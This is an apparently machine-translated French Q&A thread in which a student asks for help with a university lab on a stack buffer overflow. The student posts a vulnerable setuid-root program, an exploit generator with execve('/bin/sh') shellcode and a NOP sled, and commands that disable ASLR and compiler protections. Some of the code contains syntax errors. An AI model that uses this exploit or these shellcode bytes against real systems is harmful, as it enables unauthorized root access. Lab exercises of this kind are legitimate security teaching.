Vulnérabilité de Dépassement de tampon Laboratoire de problèmes
J'ai un laboratoire d'affectation que je suis coincé sur. En gros, je dois profiter d'un dépassement de la mémoire tampon pour générer une coquille qui a les privilèges de root. J'ai utiliser 2 séparés .c fichiers. Voici le premier:
la pile.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Voici la seconde:
exploiter.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Je ne peux que modifier le deuxième. Voici les modifications que j'ai apportées:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
//----------------------BEGIN FILL BUFFER----------------------\\
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
J'ai ensuite exécuté les opérations suivantes à partir de la ligne de commande
$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack
Toutefois, même s'il ne génère un "fichierdéfectueux" avec des données réelles et une coquille, dit coque uniquement a base de privilèges d'utilisateur. Au préalable, je n'ai exécutez la commande suivante en root:
echo 0 > /proc/sys/kernel/randomize_va_space
Le Labo me dit que j'ai plutôt besoin d'exécuter en root:
sysctl -w kernel.randomize_va_space=0
Cependant, si je fais ça, alors quand je l'execute "pile", j'obtiens une erreur "instruction illégale". Quelqu'un peut-il m'aider à sortir de celui-ci?
- Avez-vous vérifié que la compilation de la pile fichier est la propriété de root?
- stackoverflow.com/q/14903394/905902 copie Exacte (y compris le ridicule void main() ...)
Vous devez vous connecter pour publier un commentaire.
J'ai compris quel était le problème. J'ai eu de lien de la zsh /bin/bash/. J'ai sauté parce que je pensais que je n'avais qu'à le faire si j'ai été en utilisant Fedora. J'ai été en utilisant Ubuntu.
L'une des choses que vous devez prendre au cours des essais est cet appel de fonction.
FORTIFY_SOURCE utilise la "sécurité" des variantes à risque élevé, comme les fonctions
memcpy
etstrcpy
. Le compilateur utilise le plus sûr des variantes quand il peut en déduire la taille de la mémoire tampon de destination. Si la copie n'dépasser la taille de la mémoire tampon de destination, alors que le programme appelleabort()
.Pour désactiver FORTIFY_SOURCE pour vos tests, vous devez compiler le programme avec l'
-U_FORTIFY_SOURCE
ou-D_FORTIFY_SOURCE=0
.